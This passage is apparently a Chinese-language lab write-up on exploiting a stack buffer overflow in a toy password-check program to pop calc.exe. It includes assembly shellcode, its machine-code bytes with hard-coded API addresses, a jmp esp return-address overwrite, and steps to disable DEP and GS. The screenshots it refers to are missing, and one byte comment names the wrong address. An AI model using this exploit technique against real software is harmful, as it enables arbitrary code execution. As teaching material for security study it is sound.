实验原本是模拟一个密码验证程序,其代码如下:
- 发现漏洞
其中verify_password代码如下:
用红框圈起来的地方发现有一个缓冲区漏洞,我们就利用这里进行栈溢出操作。我们这里只是尝试着弹出一个calc.exe。
- 构造汇编代码来利用漏洞
先构造汇编代码,这里是先利用LoadLibrary加载msvcrt.dll,在利用system函数弹出calc.exe,最后利用ExitProcess退出,以防止栈破坏而报错,如果不使用ExitProcess,很容易报错:
当然我们这里要知道,“exitProcess是不管堆栈平衡,直接强制退出的。不使用这个东东的话就在shellcode里手动修复堆栈吧”。
汇编代码如下:
void main() { __asm { mov esp, ebp; push ebp; mov ebp, esp; xor edi, edi; push edi; sub esp, 08h; mov byte ptr[ebp - 0ch], 6Dh; //m mov byte ptr[ebp - 0bh], 73h; //s mov byte ptr[ebp - 0ah], 76h; //v mov byte ptr[ebp - 09h], 63h; //c mov byte ptr[ebp - 08h], 72h; //r mov byte ptr[ebp - 07h], 74h; //t mov byte ptr[ebp - 06h], 2Eh; //. mov byte ptr[ebp - 05h], 64h; //d mov byte ptr[ebp - 04h], 6Ch; //l mov byte ptr[ebp - 03h], 6Ch; //l lea eax, [ebp - 0Ch]; push eax; mov eax, 0x763b8f80; call eax;//LoadLibrary xor edi, edi; push edi; sub esp, 08h; mov byte ptr[ebp - 18h], 63h; //c mov byte ptr[ebp - 17h], 61h; //a mov byte ptr[ebp - 16h], 6ch; //l mov byte ptr[ebp - 15h], 63h; //c mov byte ptr[ebp - 14h], 2Eh; //. mov byte ptr[ebp - 13h], 65h; //e mov byte ptr[ebp - 12h], 78h; //x mov byte ptr[ebp - 11h], 65h; //e //system 0x762fb730 lea eax, [ebp - 18h]; push eax; mov eax, 0x762fb730; call eax;//system mov eax, 0x763c9850; call eax;//ExitProcess } }
_asm中间的才是我们需要的,之所以放入main函数只是为了运行测试我们所写的汇编代码是否有问题,运行:
- 为编写shellcode查机器码
可以正常弹出calc.exe,说明汇编代码没有问题。那么我们现在利用VS的反汇编功能,查看这些汇编代码的机器码,记得要在反汇编窗口右键选中“显示代码字节”,才能看到机器码:
选中后显示如下:
这里有一个问题,我们call eax的时候实际上是在调用API,我们又是如何知道这些API的地址的呢?我们可以利用这样一段代码:
运行它,就会输出这个函数的地址:
这样,我们就知道了上边汇编代码中call eax之前,先要把那个地址mov到eax中了。
现在参考一下栈空间布局:
我们现在要做的就是填充掉栈空间中的buffer所占的44个字节、authenticated所占的四个字节,和原先压栈存放的ebp所占的四个字节,我们需要填充52个字节数据,这52个字节可以是任意字节。然后再把返回地址填充为要执行的我们的代码的地址,这里我们填充一个jmp esp的机器码,因为当函数退出时,esp会移动到图中指向第一个参数的位置,而这些参数我们将会用shellcode覆盖以执行我们自己的意图,所以,jmp esp后就相当于跳转到执行自己的意图的代码部分。如图所示:
那么这里问题来了,我们如何获取jmp esp的地址?利用如下demo:
可以找到加载user32.dll后一些jmp esp指令的地址:
整个shellcode的机器码如下:
//unsigned char shellcode[] = //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\xAA\xAA\xAA\xAA" //"\x9D\xC9\x74\x63" //"\x8B\xE5"//mov esp, ebp; //"\x55"//push ebp; //"\x8B\xEC"//mov ebp, esp; //"\x33\xFF"//xor edi, edi; //"\x57"//push edi; //"\x83\xEC\x08"//sub esp, 08h; //"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m' //"\xC6\x45\xF5\x73"//'s' //"\xC6\x45\xF6\x76"//'v' //"\xC6\x45\xF7\x63"//'c' //"\xC6\x45\xF8\x72"//'r' //"\xC6\x45\xF9\x74"//'t' //"\xC6\x45\xFA\x2E"//'.' //"\xC6\x45\xFB\x64"//'d' //"\xC6\x45\xFC\x6C"//'l' //"\xC6\x45\xFD\x6C"//'l' //"\x8D\x45\xF4" //lea eax, [ebp-0ch] //"\x50" //push eax //"\xB8\x80\x8F\x3B\x76"//mov eax, 0x762fb730; //"\xFF\xD0"//call eax; //"\x33\xFF"//xor edi, edi; //"\x57"//push edi; //"\x83\xEC\x08"//sub esp, 08h; //"\xC6\x45\xE8\x63"//mov byte ptr[ebp - 0ch], 63h; //"\xC6\x45\xE9\x61"//mov byte ptr[ebp - 0bh], 61h; //"\xC6\x45\xEA\x6C"//mov byte ptr[ebp - 0ah], 6ch; //"\xC6\x45\xEB\x63"//mov byte ptr[ebp - 09h], 63h; //"\xC6\x45\xEC\x2E"//mov byte ptr[ebp - 08h], 2Eh; //"\xC6\x45\xED\x65"//mov byte ptr[ebp - 07h], 65h; //"\xC6\x45\xEE\x78"//mov byte ptr[ebp - 06h], 78h; //"\xC6\x45\xEF\x65"//mov byte ptr[ebp - 05h], 65h; //"\x8D\x45\xE8"//lea eax, [ebp - 18h]; //"\x50"//push eax ; //"\xB8\x30\xB7\x2F\x76"//mov eax, 0x762fb730; //"\xFF\xD0"//call eax; //"\xB8\x50\x98\x3C\x76"//mov eax, 0x763c9850; //"\xFF\xD0";//call eax;
检验这段机器码,可以使用
int main() { ( (Func) &shellcode)(); return 0; }
进行测试,当然测试的时候要把前面填充的那些AA注释掉。而且,更重要的是,要关闭DEP保护,否则栈上的数据无法执行。
- 将机器码写入TXT
将机器码写入TXT以便这个文件读取时,造成缓冲区溢出,这里利用UltraEdit写入:
- 运行程序调试
运行程序之前,记住关闭GS。
通过调试可以看出,发生溢出成功:
反汇编单步跟踪到函数返回时:
也可以看到老ebp被覆盖:
再往下运行一步就会报错:
为什么?
而我们看到此时执行到的汇编指令为:
这说明我们的溢出是成功的,程序已经把栈中的数据当做代码去执行了。我们仔细观察上边的弹窗,说“写入位置 0x44444440 时发生访问冲突”,这表明esp中的地址不合法,这主要是因为把刚才ebp中存放的0x44444444存入了esp,随后又进行了一次push,把esp“抬高”到了0x44444440所致,那么我们考虑把mov esp,ebp去掉,
这时候就可以正常的弹出calc.exe了: